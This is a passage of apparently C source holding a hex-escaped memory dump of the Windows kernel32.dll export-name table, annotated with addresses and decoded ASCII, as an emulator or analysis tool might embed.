\"\\x6F\\x00\\x53\\x65\\x74\\x4D\\x65\\x73\\x73\\x61\\x67\\x65\\x57\\x61\\x69\\x74\" // o.SetMessageWait\n/* 7C808520 */ \"\\x69\\x6E\\x67\\x49\\x6E\\x64\\x69\\x63\\x61\\x74\\x6F\\x72\\x00\\x53\\x65\\x74\" // ingIndicator.Set\n/* 7C808530 */ \"\\x4E\\x61\\x6D\\x65\\x64\\x50\\x69\\x70\\x65\\x48\\x61\\x6E\\x64\\x6C\\x65\\x53\" // NamedPipeHandleS\n/* 7C808540 */ \"\\x74\\x61\\x74\\x65\\x00\\x53\\x65\\x74\\x50\\x72\\x69\\x6F\\x72\\x69\\x74\\x79\" // tate.SetPriority\n/* 7C808550 */ \"\\x43\\x6C\\x61\\x73\\x73\\x00\\x53\\x65\\x74\\x50\\x72\\x6F\\x63\\x65\\x73\\x73\" // Class.SetProcess\n/* 7C808560 */ \"\\x41\\x66\\x66\\x69\\x6E\\x69\\x74\\x79\\x4D\\x61\\x73\\x6B\\x00\\x53\\x65\\x74\" // AffinityMask.Set\n/* 7C808570 */ \"\\x50\\x72\\x6F\\x63\\x65\\x73\\x73\\x50\\x72\\x69\\x6F\\x72\\x69\\x74\\x79\\x42\" // ProcessPriorityB\n/* 7C808580 */ \"\\x6F\\x6F\\x73\\x74\\x00\\x53\\x65\\x74\\x50\\x72\\x6F\\x63\\x65\\x73\\x73\\x53\" // oost.SetProcessS\n/* 7C808590 */ \"\\x68\\x75\\x74\\x64\\x6F\\x77\\x6E\\x50\\x61\\x72\\x61\\x6D\\x65\\x74\\x65\\x72\" // hutdownParameter\n/* 7C8085A0 */ \"\\x73\\x00\\x53\\x65\\x74\\x50\\x72\\x6F\\x63\\x65\\x73\\x73\\x57\\x6F\\x72\\x6B\" // s.SetProcessWork\n/* 7C8085B0 */ \"\\x69\\x6E\\x67\\x53\\x65\\x74\\x53\\x69\\x7A\\x65\\x00\\x53\\x65\\x74\\x53\\x74\" // ingSetSize.SetSt\n/* 7C8085C0 */ \"\\x64\\x48\\x61\\x6E\\x64\\x6C\\x65\\x00\\x53\\x65\\x74\\x53\\x79\\x73\\x74\\x65\" // dHandle.SetSyste\n/* 7C8085D0 */ \"\\x6D\\x50\\x6F\\x77\\x65\\x72\\x53\\x74\\x61\\x74\\x65\\x00\\x53\\x65\\x74\\x53\" // mPowerState.SetS\n/* 7C8085E0 */ \"\\x79\\x73\\x74\\x65\\x6D\\x54\\x69\\x6D\\x65\\x00\\x53\\x65\\x74\\x53\\x79\\x73\" // ystemTime.SetSys\n/* 7C8085F0 */ \"\\x74\\x65\\x6D\\x54\\x69\\x6D\\x65\\x41\\x64\\x6A\\x75\\x73\\x74\\x6D\\x65\\x6E\" // temTimeAdjustmen\n/* 7C808600 */ \"\\x74\\x00\\x53\\x65\\x74\\x54\\x61\\x70\\x65\\x50\\x61\\x72\\x61\\x6D\\x65\\x74\" // t.SetTapeParamet\n/* 7C808610 */ \"\\x65\\x72\\x73\\x00\\x53\\x65\\x74\\x54\\x61\\x70\\x65\\x50\\x6F\\x73\\x69\\x74\" // ers.SetTapePosit\n/* 7C808620 */ \"\\x69\\x6F\\x6E\\x00\\x53\\x65\\x74\\x54\\x65\\x72\\x6D\\x73\\x72\\x76\\x41\\x70\" // ion.SetTermsrvAp\n/* 7C808630 */ \"\\x70\\x49\\x6E\\x73\\x74\\x61\\x6C\\x6C\\x4D\\x6F\\x64\\x65\\x00\\x53\\x65\\x74\" // pInstallMode.Set\n/* 7C808640 */ \"\\x54\\x68\\x72\\x65\\x61\\x64\\x41\\x66\\x66\\x69\\x6E\\x69\\x74\\x79\\x4D\\x61\" // ThreadAffinityMa\n/* 7C808650 */ \"\\x73\\x6B\\x00\\x53\\x65\\x74\\x54\\x68\\x72\\x65\\x61\\x64\\x43\\x6F\\x6E\\x74\" // sk.SetThreadCont\n/* 7C808660 */ \"\\x65\\x78\\x74\\x00\\x53\\x65\\x74\\x54\\x68\\x72\\x65\\x61\\x64\\x45\\x78\\x65\" // ext.SetThreadExe\n/* 7C808670 */ \"\\x63\\x75\\x74\\x69\\x6F\\x6E\\x53\\x74\\x61\\x74\\x65\\x00\\x53\\x65\\x74\\x54\" // cutionState.SetT\n/* 7C808680 */ \"\\x68\\x72\\x65\\x61\\x64\\x49\\x64\\x65\\x61\\x6C\\x50\\x72\\x6F\\x63\\x65\\x73\" // hreadIdealProces\n/* 7C808690 */ \"\\x73\\x6F\\x72\\x00\\x53\\x65\\x74\\x54\\x68\\x72\\x65\\x61\\x64\\x4C\\x6F\\x63\" // sor.SetThreadLoc\n/* 7C8086A0 */ \"\\x61\\x6C\\x65\\x00\\x53\\x65\\x74\\x54\\x68\\x72\\x65\\x61\\x64\\x50\\x72\\x69\" // ale.SetThreadPri\n/* 7C8086B0 */ \"\\x6F\\x72\\x69\\x74\\x79\\x00\\x53\\x65\\x74\\x54\\x68\\x72\\x65\\x61\\x64\\x50\" // ority.SetThreadP\n/* 7C8086C0 */ \"\\x72\\x69\\x6F\\x72\\x69\\x74\\x79\\x42\\x6F\\x6F\\x73\\x74\\x00\\x53\\x65\\x74\" // riorityBoost.Set\n/* 7C8086D0 */ \"\\x54\\x68\\x72\\x65\\x61\\x64\\x55\\x49\\x4C\\x61\\x6E\\x67\\x75\\x61\\x67\\x65\" // ThreadUILanguage\n/* 7C8086E0 */ \"\\x00\\x53\\x65\\x74\\x54\\x69\\x6D\\x65\\x5A\\x6F\\x6E\\x65\\x49\\x6E\\x66\\x6F\" // .SetTimeZoneInfo\n/* 7C8086F0 */ \"\\x72\\x6D\\x61\\x74\\x69\\x6F\\x6E\\x00\\x53\\x65\\x74\\x54\\x69\\x6D\\x65\\x72\" // rmation.SetTimer\n/* 7C808700 */ \"\\x51\\x75\\x65\\x75\\x65\\x54\\x69\\x6D\\x65\\x72\\x00\\x53\\x65\\x74\\x55\\x6E\" // QueueTimer.SetUn\n/* 7C808710 */ \"\\x68\\x61\\x6E\\x64\\x6C\\x65\\x64\\x45\\x78\\x63\\x65\\x70\\x74\\x69\\x6F\\x6E\" // handledException\n/* 7C808720 */ \"\\x46\\x69\\x6C\\x74\\x65\\x72\\x00\\x53\\x65\\x74\\x55\\x73\\x65\\x72\\x47\\x65\" // Filter.SetUserGe\n/* 7C808730 */ \"\\x6F\\x49\\x44\\x00\\x53\\x65\\x74\\x56\\x44\\x4D\\x43\\x75\\x72\\x72\\x65\\x6E\" // oID.SetVDMCurren\n/* 7C808740 */ \"\\x74\\x44\\x69\\x72\\x65\\x63\\x74\\x6F\\x72\\x69\\x65\\x73\\x00\\x53\\x65\\x74\" // tDirectories.Set\n/* 7C808750 */ \"\\x56\\x6F\\x6C\\x75\\x6D\\x65\\x4C\\x61\\x62\\x65\\x6C\\x41\\x00\\x53\\x65\\x74\" // VolumeLabelA.Set\n/* 7C808760 */ \"\\x56\\x6F\\x6C\\x75\\x6D\\x65\\x4C\\x61\\x62\\x65\\x6C\\x57\\x00\\x53\\x65\\x74\" // VolumeLabelW.Set\n/* 7C808770 */ \"\\x56\\x6F\\x6C\\x75\\x6D\\x65\\x4D\\x6F\\x75\\x6E\\x74\\x50\\x6F\\x69\\x6E\\x74\" // VolumeMountPoint\n/* 7C808780 */ \"\\x41\\x00\\x53\\x65\\x74\\x56\\x6F\\x6C\\x75\\x6D\\x65\\x4D\\x6F\\x75\\x6E\\x74\" // A.SetVolumeMount\n/* 7C808790 */ \"\\x50\\x6F\\x69\\x6E\\x74\\x57\\x00\\x53\\x65\\x74\\x57\\x61\\x69\\x74\\x61\\x62\" // PointW.SetWaitab\n/* 7C8087A0 */ \"\\x6C\\x65\\x54\\x69\\x6D\\x65\\x72\\x00\\x53\\x65\\x74\\x75\\x70\\x43\\x6F\\x6D\" // leTimer.SetupCom\n/* 7C8087B0 */ \"\\x6D\\x00\\x53\\x68\\x6F\\x77\\x43\\x6F\\x6E\\x73\\x6F\\x6C\\x65\\x43\\x75\\x72\" // m.ShowConsoleCur\n/* 7C8087C0 */ \"\\x73\\x6F\\x72\\x00\\x53\\x69\\x67\\x6E\\x61\\x6C\\x4F\\x62\\x6A\\x65\\x63\\x74\" // sor.SignalObject\n/* 7C8087D0 */ \"\\x41\\x6E\\x64\\x57\\x61\\x69\\x74\\x00\\x53\\x69\\x7A\\x65\\x6F\\x66\\x52\\x65\" // AndWait.SizeofRe\n/* 7C8087E0 */ \"\\x73\\x6F\\x75\\x72\\x63\\x65\\x00\\x53\\x6C\\x65\\x65\\x70\\x00\\x53\\x6C\\x65\" // source.Sleep.Sle\n/* 7C8087F0 */ \"\\x65\\x70\\x45\\x78\\x00\\x53\\x75\\x73\\x70\\x65\\x6E\\x64\\x54\\x68\\x72\\x65\" // epEx.SuspendThre\n/* 7C808800 */ \"\\x61\\x64\\x00\\x53\\x77\\x69\\x74\\x63\\x68\\x54\\x6F\\x46\\x69\\x62\\x65\\x72\" // ad.SwitchToFiber\n/* 7C808810 */ \"\\x00\\x53\\x77\\x69\\x74\\x63\\x68\\x54\\x6F\\x54\\x68\\x72\\x65\\x61\\x64\\x00\" // .SwitchToThread.\n/* 7C808820 */ \"\\x53\\x79\\x73\\x74\\x65\\x6D\\x54\\x69\\x6D\\x65\\x54\\x6F\\x46\\x69\\x6C\\x65\" // SystemTimeToFile\n/* 7C808830 */ \"\\x54\\x69\\x6D\\x65\\x00\\x53\\x79\\x73\\x74\\x65\\x6D\\x54\\x69\\x6D\\x65\\x54\" // Time.SystemTimeT\n/* 7C808840 */ \"\\x6F\\x54\\x7A\\x53\\x70\\x65\\x63\\x69\\x66\\x69\\x63\\x4C\\x6F\\x63\\x61\\x6C\" // oTzSpecificLocal\n/* 7C808850 */ \"\\x54\\x69\\x6D\\x65\\x00\\x54\\x65\\x72\\x6D\\x69\\x6E\\x61\\x74\\x65\\x4A\\x6F\" // Time.TerminateJo\n/* 7C808860 */ \"\\x62\\x4F\\x62\\x6A\\x65\\x63\\x74\\x00\\x54\\x65\\x72\\x6D\\x69\\x6E\\x61\\x74\" // bObject.Terminat\n/* 7C808870 */ \"\\x65\\x50\\x72\\x6F\\x63\\x65\\x73\\x73\\x00\\x54\\x65\\x72\\x6D\\x69\\x6E\\x61\" // eProcess.Termina\n/* 7C808880 */ \"\\x74\\x65\\x54\\x68\\x72\\x65\\x61\\x64\\x00\\x54\\x65\\x72\\x6D\\x73\\x72\\x76\" // teThread.Termsrv\n/* 7C808890 */ \"\\x41\\x70\\x70\\x49\\x6E\\x73\\x74\\x61\\x6C\\x6C\\x4D\\x6F\\x64\\x65\\x00\\x54\" // AppInstallMode.T\n/* 7C8088A0 */ \"\\x68\\x72\\x65\\x61\\x64\\x33\\x32\\x46\\x69\\x72\\x73\\x74\\x00\\x54\\x68\\x72\" // hread32First.Thr\n/* 7C8088B0 */ \"\\x65\\x61\\x64\\x33\\x32\\x4E\\x65\\x78\\x74\\x00\\x54\\x6C\\x73\\x41\\x6C\\x6C\" // ead32Next.TlsAll\n/* 7C8088C0 */ \"\\x6F\\x63\\x00\\x54\\x6C\\x73\\x46\\x72\\x65\\x65\\x00\\x54\\x6C\\x73\\x47\\x65\" // oc.TlsFree.TlsGe\n/* 7C8088D0 */ \"\\x74\\x56\\x61\\x6C\\x75\\x65\\x00\\x54\\x6C\\x73\\x53\\x65\\x74\\x56\\x61\\x6C\" // tValue.TlsSetVal\n/* 7C8088E0 */ \"\\x75\\x65\\x00\\x54\\x6F\\x6F\\x6C\\x68\\x65\\x6C\\x70\\x33\\x32\\x52\\x65\\x61\" // ue.Toolhelp32Rea\n/* 7C8088F0 */ \"\\x64\\x50\\x72\\x6F\\x63\\x65\\x73\\x73\\x4D\\x65\\x6D\\x6F\\x72\\x79\\x00\\x54\" // dProcessMemory.T\n/* 7C808900 */ \"\\x72\\x61\\x6E\\x73\\x61\\x63\\x74\\x4E\\x61\\x6D\\x65\\x64\\x50\\x69\\x70\\x65\" // ransactNamedPipe\n/* 7C808910 */ \"\\x00\\x54\\x72\\x61\\x6E\\x73\\x6D\\x69\\x74\\x43\\x6F\\x6D\\x6D\\x43\\x68\\x61\" // .TransmitCommCha\n/* 7C808920 */ \"\\x72\\x00\\x54\\x72\\x69\\x6D\\x56\\x69\\x72\\x74\\x75\\x61\\x6C\\x42\\x75\\x66\" // r.TrimVirtualBuf\n/* 7C808930 */ \"\\x66\\x65\\x72\\x00\\x54\\x72\\x79\\x45\\x6E\\x74\\x65\\x72\\x43\\x72\\x69\\x74\" // fer.TryEnterCrit\n/* 7C808940 */ \"\\x69\\x63\\x61\\x6C\\x53\\x65\\x63\\x74\\x69\\x6F\\x6E\\x00\\x54\\x7A\\x53\\x70\" // icalSection.TzSp\n/* 7C808950 */ \"\\x65\\x63\\x69\\x66\\x69\\x63\\x4C\\x6F\\x63\\x61\\x6C\\x54\\x69\\x6D\\x65\\x54\" // ecificLocalTimeT\n/* 7C808960 */ \"\\x6F\\x53\\x79\\x73\\x74\\x65\\x6D\\x54\\x69\\x6D\\x65\\x00\\x55\\x54\\x52\\x65\" // oSystemTime.UTRe\n/* 7C808970 */ \"\\x67\\x69\\x73\\x74\\x65\\x72\\x00\\x55\\x54\\x55\\x6E\\x52\\x65\\x67\\x69\\x73\" // gister.UTUnRegis\n/* 7C808980 */ \"\\x74\\x65\\x72\\x00\\x55\\x6E\\x68\\x61\\x6E\\x64\\x6C\\x65\\x64\\x45\\x78\\x63\" // ter.UnhandledExc\n/* 7C808990 */ \"\\x65\\x70\\x74\\x69\\x6F\\x6E\\x46\\x69\\x6C\\x74\\x65\\x72\\x00\\x55\\x6E\\x6C\" // eptionFilter.Unl\n/* 7C8089A0 */ \"\\x6F\\x63\\x6B\\x46\\x69\\x6C\\x65\\x00\\x55\\x6E\\x6C\\x6F\\x63\\x6B\\x46\\x69\" // ockFile.UnlockFi\n/* 7C8089B0 */ \"\\x6C\\x65\\x45\\x78\\x00\\x55\\x6E\\x6D\\x61\\x70\\x56\\x69\\x65\\x77\\x4F\\x66\" // leEx.UnmapViewOf\n/* 7C8089C0 */ \"\\x46\\x69\\x6C\\x65\\x00\\x55\\x6E\\x72\\x65\\x67\\x69\\x73\\x74\\x65\\x72\\x43\" // File.UnregisterC\n/* 7C8089D0 */ \"\\x6F\\x6E\\x73\\x6F\\x6C\\x65\\x49\\x4D\\x45\\x00\\x55\\x6E\\x72\\x65\\x67\\x69\" // onsoleIME.Unregi\n/* 7C8089E0 */ \"\\x73\\x74\\x65\\x72\\x57\\x61\\x69\\x74\\x00\\x55\\x6E\\x72\\x65\\x67\\x69\\x73\" // sterWait.Unregis\n/* 7C8089F0 */ \"\\x74\\x65\\x72\\x57\\x61\\x69\\x74\\x45\\x78\\x00\\x55\\x70\\x64\\x61\\x74\\x65\" // terWaitEx.Update\n/* 7C808A00 */ \"\\x52\\x65\\x73\\x6F\\x75\\x72\\x63\\x65\\x41\\x00\\x55\\x70\\x64\\x61\\x74\\x65\" // ResourceA.Update\n/* 7C808A10 */ \"\\x52\\x65\\x73\\x6F\\x75\\x72\\x63\\x65\\x57\\x00\\x56\\x44\\x4D\\x43\\x6F\\x6E\" // ResourceW.VDMCon\n/* 7C808A20 */ \"\\x73\\x6F\\x6C\\x65\\x4F\\x70\\x65\\x72\\x61\\x74\\x69\\x6F\\x6E\\x00\\x56\\x44\" // soleOperation.VD\n/* 7C808A30 */ \"\\x4D\\x4F\\x70\\x65\\x72\\x61\\x74\\x69\\x6F\\x6E\\x53\\x74\\x61\\x72\\x74\\x65\" // MOperationStarte\n/* 7C808A40 */ \"\\x64\\x00\\x56\\x61\\x6C\\x69\\x64\\x61\\x74\\x65\\x4C\\x43\\x54\\x79\\x70\\x65\" // d.ValidateLCType\n/* 7C808A50 */ \"\\x00\\x56\\x61\\x6C\\x69\\x64\\x61\\x74\\x65\\x4C\\x6F\\x63\\x61\\x6C\\x65\\x00\" // .ValidateLocale.\n/* 7C808A60 */ \"\\x56\\x65\\x72\\x4C\\x61\\x6E\\x67\\x75\\x61\\x67\\x65\\x4E\\x61\\x6D\\x65\\x41\" // VerLanguageNameA\n/* 7C808A70 */ \"\\x00\\x56\\x65\\x72\\x4C\\x61\\x6E\\x67\\x75\\x61\\x67\\x65\\x4E\\x61\\x6D\\x65\" // .VerLanguageName\n/* 7C808A80 */ \"\\x57\\x00\\x56\\x65\\x72\\x53\\x65\\x74\\x43\\x6F\\x6E\\x64\\x69\\x74\\x69\\x6F\" // W.VerSetConditio\n/* 7C808A90 */ \"\\x6E\\x4D\\x61\\x73\\x6B\\x00\\x56\\x65\\x72\\x69\\x66\\x79\\x43\\x6F\\x6E\\x73\" // nMask.VerifyCons\n/* 7C808AA0 */ \"\\x6F\\x6C\\x65\\x49\\x6F\\x48\\x61\\x6E\\x64\\x6C\\x65\\x00\\x56\\x65\\x72\\x69\" // oleIoHandle.Veri\n/* 7C808AB0 */ \"\\x66\\x79\\x56\\x65\\x72\\x73\\x69\\x6F\\x6E\\x49\\x6E\\x66\\x6F\\x41\\x00\\x56\" // fyVersionInfoA.V\n/* 7C808AC0 */ \"\\x65\\x72\\x69\\x66\\x79\\x56\\x65\\x72\\x73\\x69\\x6F\\x6E\\x49\\x6E\\x66\\x6F\" // erifyVersionInfo\n/* 7C808AD0 */ \"\\x57\\x00\\x56\\x69\\x72\\x74\\x75\\x61\\x6C\\x41\\x6C\\x6C\\x6F\\x63\\x00\\x56\" // W.VirtualAlloc.V\n/* 7C808AE0 */ \"\\x69\\x72\\x74\\x75\\x61\\x6C\\x41\\x6C\\x6C\\x6F\\x63\\x45\\x78\\x00\\x56\\x69\" // irtualAllocEx.Vi\n/* 7C808AF0 */ \"\\x72\\x74\\x75\\x61\\x6C\\x42\\x75\\x66\\x66\\x65\\x72\\x45\\x78\\x63\\x65\\x70\" // rtualBufferExcep\n/* 7C808B00 */ \"\\x74\\x69\\x6F\\x6E\\x48\\x61\\x6E\\x64\\x6C\\x65\\x72\\x00\\x56\\x69\\x72\\x74\" // tionHandler.Virt\n/* 7C808B10 */ \"\\x75\\x61\\x6C\\x46\\x72\\x65\\x65\\x00\\x56\\x69\\x72\\x74\\x75\\x61\\x6C\\x46\" // ualFree.VirtualF\n/* 7C808B20 */ \"\\x72\\x65\\x65\\x45\\x78\\x00\\x56\\x69\\x72\\x74\\x75\\x61\\x6C\\x4C\\x6F\\x63\" // reeEx.VirtualLoc\n/* 7C808B30 */ \"\\x6B\\x00\\x56\\x69\\x72\\x74\\x75\\x61\\x6C\\x50\\x72\\x6F\\x74\\x65\\x63\\x74\" // k.VirtualProtect\n/* 7C808B40 */ \"\\x00\\x56\\x69\\x72\\x74\\x75\\x61\\x6C\\x50\\x72\\x6F\\x74\\x65\\x63\\x74\\x45\" // .VirtualProtectE\n/* 7C808B50 */ \"\\x78\\x00\\x56\\x69\\x72\\x74\\x75\\x61\\x6C\\x51\\x75\\x65\\x72\\x79\\x00\\x56\" // x.VirtualQuery.V\n/* 7C808B60 */ \"\\x69\\x72\\x74\\x75\\x61\\x6C\\x51\\x75\\x65\\x72\\x79\\x45\\x78\\x00\\x56\\x69\" // irtualQueryEx.Vi\n/* 7C808B70 */ \"\\x72\\x74\\x75\\x61\\x6C\\x55\\x6E\\x6C\\x6F\\x63\\x6B\\x00\\x57\\x54\\x53\\x47\" // rtualUnlock.WTSG\n/* 7C808B80 */ \"\\x65\\x74\\x41\\x63\\x74\\x69\\x76\\x65\\x43\\x6F\\x6E\\x73\\x6F\\x6C\\x65\\x53\" // etActiveConsoleS\n/* 7C808B90 */ \"\\x65\\x73\\x73\\x69\\x6F\\x6E\\x49\\x64\\x00\\x57\\x61\\x69\\x74\\x43\\x6F\\x6D\" // essionId.WaitCom\n/* 7C808BA0 */ \"\\x6D\\x45\\x76\\x65\\x6E\\x74\\x00\\x57\\x61\\x69\\x74\\x46\\x6F\\x72\\x44\\x65\" // mEvent.WaitForDe\n/* 7C808BB0 */ \"\\x62\\x75\\x67\\x45\\x76\\x65\\x6E\\x74\\x00\\x57\\x61\\x69\\x74\\x46\\x6F\\x72\" // bugEvent.WaitFor\n/* 7C808BC0 */ \"\\x4D\\x75\\x6C\\x74\\x69\\x70\\x6C\\x65\\x4F\\x62\\x6A\\x65\\x63\\x74\\x73\\x00\" // MultipleObjects.\n/* 7C808BD0 */ \"\\x57\\x61\\x69\\x74\\x46\\x6F\\x72\\x4D\\x75\\x6C\\x74\\x69\\x70\\x6C\\x65\\x4F\" // WaitForMultipleO\n/* 7C808BE0 */ \"\\x62\\x6A\\x65\\x63\\x74\\x73\\x45\\x78\\x00\\x57\\x61\\x69\\x74\\x46\\x6F\\x72\" // bjectsEx.WaitFor\n/* 7C808BF0 */ \"\\x53\\x69\\x6E\\x67\\x6C\\x65\\x4F\\x62\\x6A\\x65\\x63\\x74\\x00\\x57\\x61\\x69\" // SingleObject.Wai\n/* 7C808C00 */ \"\\x74\\x46\\x6F\\x72\\x53\\x69\\x6E\\x67\\x6C\\x65\\x4F\\x62\\x6A\\x65\\x63\\x74\" // tForSingleObject\n/* 7C808C10 */ \"\\x45\\x78\\x00\\x57\\x61\\x69\\x74\\x4E\\x61\\x6D\\x65\\x64\\x50\\x69\\x70\\x65\" // Ex.WaitNamedPipe\n/* 7C808C20 */ \"\\x41\\x00\\x57\\x61\\x69\\x74\\x4E\\x61\\x6D\\x65\\x64\\x50\\x69\\x70\\x65\\x57\" // A.WaitNamedPipeW\n/* 7C808C30 */ \"\\x00\\x57\\x69\\x64\\x65\\x43\\x68\\x61\\x72\\x54\\x6F\\x4D\\x75\\x6C\\x74\\x69\" // .WideCharToMulti\n/* 7C808C40 */ \"\\x42\\x79\\x74\\x65\\x00\\x57\\x69\\x6E\\x45\\x78\\x65\\x63\\x00\\x57\\x72\\x69\" // Byte.WinExec.Wri\n/* 7C808C50 */ \"\\x74\\x65\\x43\\x6F\\x6E\\x73\\x6F\\x6C\\x65\\x41\\x00\\x57\\x72\\x69\\x74\\x65\" // teConsoleA.Write\n/* 7C808C60 */ \"\\x43\\x6F\\x6E\\x73\\x6F\\x6C\\x65\\x49\\x6E\\x70\\x75\\x74\\x41\\x00\\x57\\x72\" // ConsoleInputA.Wr\n/* 7C808C70 */ \"\\x69\\x74\\x65\\x43\\x6F\\x6E\\x73\\x6F\\x6C\\x65\\x49\\x6E\\x70\\x75\\x74\\x56\" // iteConsoleInputV\n/* 7C808C80 */ \"\\x44\\x4D\\x41\\x00\\x57\\x72\\x69\\x74\\x65\\x43\\x6F\\x6E\\x73\\x6F\\x6C\\x65\" // DMA.WriteConsole\n/* 7C808C90 */ \"\\x49\\x6E\\x70\\x75\\x74\\x56\\x44\\x4D\\x57\\x00\\x57\\x72\\x69\\x74\\x65\\x43\" // InputVDMW.WriteC\n/* 7C808CA0 */ \"\\x6F\\x6E\\x73\\x6F\\x6C\\x65\\x49\\x6E\\x70\\x75\\x74\\x57\\x00\\x57\\x72\\x69\" // onsoleInputW.Wri\n/* 7C808CB0 */ \"\\x74\\x65\\x43\\x6F\\x6E\\x73\\x6F\\x6C\\x65\\x4F\\x75\\x74\\x70\\x75\\x74\\x41\" // teConsoleOutputA\n/* 7C808CC0 */ \"\\x00\\x57\\x72\\x69\\x74\\x65\\x43\\x6F\\x6E\\x73\\x6F\\x6C\\x65\\x4F\\x75\\x74\" // .WriteConsoleOut\n/* 7C808CD0 */ \"\\x70\\x75\\x74\\x41\\x74\\x74\\x72\\x69\\x62\\x75\\x74\\x65\\x00\\x57\\x72\\x69\" // putAttribute.Wri\n/* 7C808CE0 */ \"\\x74\\x65\\x43\\x6F\\x6E\\x73\\x6F\\x6C\\x65\\x4F\\x75\\x74\\x70\\x75\\x74\\x43\" // teConsoleOutputC\n/* 7C808CF0 */ \"\\x68\\x61\\x72\\x61\\x63\\x74\\x65\\x72\\x41\\x00\\x57\\x72\\x69\\x74\\x65\\x43\" // haracterA.WriteC\n/* 7C808D00 */ \"\\x6F\\x6E\\x73\\x6F\\x6C\\x65\\x4F\\x75\\x74\\x70\\x75\\x74\\x43\\x68\\x61\\x72\" // onsoleOutputChar\n/* 7C808D10 */ \"\\x61\\x63\\x74\\x65\\x72\\x57\\x00\\x57\\x72\\x69\\x74\\x65\\x43\\x6F\\x6E\\x73\" // acterW.WriteCons\n/* 7C808D20 */ \"\\x6F\\x6C\\x65\\x4F\\x75\\x74\\x70\\x75\\x74\\x57\\x00\\x57\\x72\\x69\\x74\\x65\" // oleOutputW.Write\n/* 7C808D30 */ \"\\x43\\x6F\\x6E\\x73\\x6F\\x6C\\x65\\x57\\x00\\x57\\x72\\x69\\x74\\x65\\x46\\x69\" // ConsoleW.WriteFi\n/* 7C808D40 */ \"\\x6C\\x65\\x00\\x57\\x72\\x69\\x74\\x65\\x46\\x69\\x6C\\x65\\x45\\x78\\x00\\x57\" // le.WriteFileEx.W\n/* 7C808D50 */ \"\\x72\\x69\\x74\\x65\\x46\\x69\\x6C\\x65\\x47\\x61\\x74\\x68\\x65\\x72\\x00\\x57\" // riteFileGather.W\n/* 7C808D60 */ \"\\x72\\x69\\x74\\x65\\x50\\x72\\x69\\x76\\x61\\x74\\x65\\x50\\x72\\x6F\\x66\\x69\" // ritePrivateProfi\n/* 7C808D70 */ \"\\x6C\\x65\\x53\\x65\\x63\\x74\\x69\\x6F\\x6E\\x41\\x00\\x57\\x72\\x69\\x74\\x65\" // leSectionA.Write\n/* 7C808D80 */ \"\\x50\\x72\\x69\\x76\\x61\\x74\\x65\\x50\\x72\\x6F\\x66\\x69\\x6C\\x65\\x53\\x65\" // PrivateProfileSe\n/* 7C808D90 */ \"\\x63\\x74\\x69\\x6F\\x6E\\x57\\x00\\x57\\x72\\x69\\x74\\x65\\x50\\x72\\x69\\x76\" // ctionW.WritePriv\n/* 7C808DA0 */ \"\\x61\\x74\\x65\\x50\\x72\\x6F\\x66\\x69\\x6C\\x65\\x53\\x74\\x72\\x69\\x6E\\x67\" // ateProfileString\n/* 7C808DB0 */ \"\\x41\\x00\\x57\\x72\\x69\\x74\\x65\\x50\\x72\\x69\\x76\\x61\\x74\\x65\\x50\\x72\" // A.WritePrivatePr\n/* 7C808DC0 */ \"\\x6F\\x66\\x69\\x6C\\x65\\x53\\x74\\x72\\x69\\x6E\\x67\\x57\\x00\\x57\\x72\\x69\" // ofileStringW.Wri\n/* 7C808DD0 */ \"\\x74\\x65\\x50\\x72\\x69\\x76\\x61\\x74\\x65\\x50\\x72\\x6F\\x66\\x69\\x6C\\x65\" // tePrivateProfile\n/* 7C808DE0 */ \"\\x53\\x74\\x72\\x75\\x63\\x74\\x41\\x00\\x57\\x72\\x69\\x74\\x65\\x50\\x72\\x69\" // StructA.WritePri\n/* 7C808DF0 */ \"\\x76\\x61\\x74\\x65\\x50\\x72\\x6F\\x66\\x69\\x6C\\x65\\x53\\x74\\x72\\x75\\x63\" // vateProfileStruc\n/* 7C808E00 */ \"\\x74\\x57\\x00\\x57\\x72\\x69\\x74\\x65\\x50\\x72\\x6F\\x63\\x65\\x73\\x73\\x4D\" // tW.WriteProcessM\n/* 7C808E10 */ \"\\x65\\x6D\\x6F\\x72\\x79\\x00\\x57\\x72\\x69\\x74\\x65\\x50\\x72\\x6F\\x66\\x69\" // emory.WriteProfi\n/* 7C808E20 */ \"\\x6C\\x65\\x53\\x65\\x63\\x74\\x69\\x6F\\x6E\\x41\\x00\\x57\\x72\\x69\\x74\\x65\" // leSectionA.Write\n/* 7C808E30 */ \"\\x50\\x72\\x6F\\x66\\x69\\x6C\\x65\\x53\\x65\\x63\\x74\\x69\\x6F\\x6E\\x57\\x00\" // ProfileSectionW.\n/* 7C808E40 */ \"\\x57\\x72\\x69\\x74\\x65\\x50\\x72\\x6F\\x66\\x69\\x6C\\x65\\x53\\x74\\x72\\x69\" // WriteProfileStri\n/* 7C808E50 */ \"\\x6E\\x67\\x41\\x00\\x57\\x72\\x69\\x74\\x65\\x50\\x72\\x6F\\x66\\x69\\x6C\\x65\" // ngA.WriteProfile\n/* 7C808E60 */ \"\\x53\\x74\\x72\\x69\\x6E\\x67\\x57\\x00\\x57\\x72\\x69\\x74\\x65\\x54\\x61\\x70\" // StringW.WriteTap\n/* 7C808E70 */ \"\\x65\\x6D\\x61\\x72\\x6B\\x00\\x5A\\x6F\\x6D\\x62\\x69\\x66\\x79\\x41\\x63\\x74\" // emark.ZombifyAct\n/* 7C808E80 */ \"\\x43\\x74\\x78\\x00\\x5F\\x68\\x72\\x65\\x61\\x64\\x00\\x5F\\x68\\x77\\x72\\x69\" // Ctx._hread._hwri\n/* 7C808E90 */ \"\\x74\\x65\\x00\\x5F\\x6C\\x63\\x6C\\x6F\\x73\\x65\\x00\\x5F\\x6C\\x63\\x72\\x65\" // te._lclose._lcre\n/* 7C808EA0 */ \"\\x61\\x74\\x00\\x5F\\x6C\\x6C\\x73\\x65\\x65\\x6B\\x00\\x5F\\x6C\\x6F\\x70\\x65\" // at._llseek._lope\n/* 7C808EB0 */ \"\\x6E\\x00\\x5F\\x6C\\x72\\x65\\x61\\x64\\x00\\x5F\\x6C\\x77\\x72\\x69\\x74\\x65\" // n._lread._lwrite\n/* 7C808EC0 */ \"\\x00\\x6C\\x73\\x74\\x72\\x63\\x61\\x74\\x00\\x6C\\x73\\x74\\x72\\x63\\x61\\x74\" // .lstrcat.lstrcat\n/* 7C808ED0 */ \"\\x41\\x00\\x6C\\x73\\x74\\x72\\x63\\x61\\x74\\x57\\x00\\x6C\\x73\\x74\\x72\\x63\" // A.lstrcatW.lstrc\n/* 7C808EE0 */ \"\\x6D\\x70\\x00\\x6C\\x73\\x74\\x72\\x63\\x6D\\x70\\x41\\x00\\x6C\\x73\\x74\\x72\" // mp.lstrcmpA.lstr\n/* 7C808EF0 */ 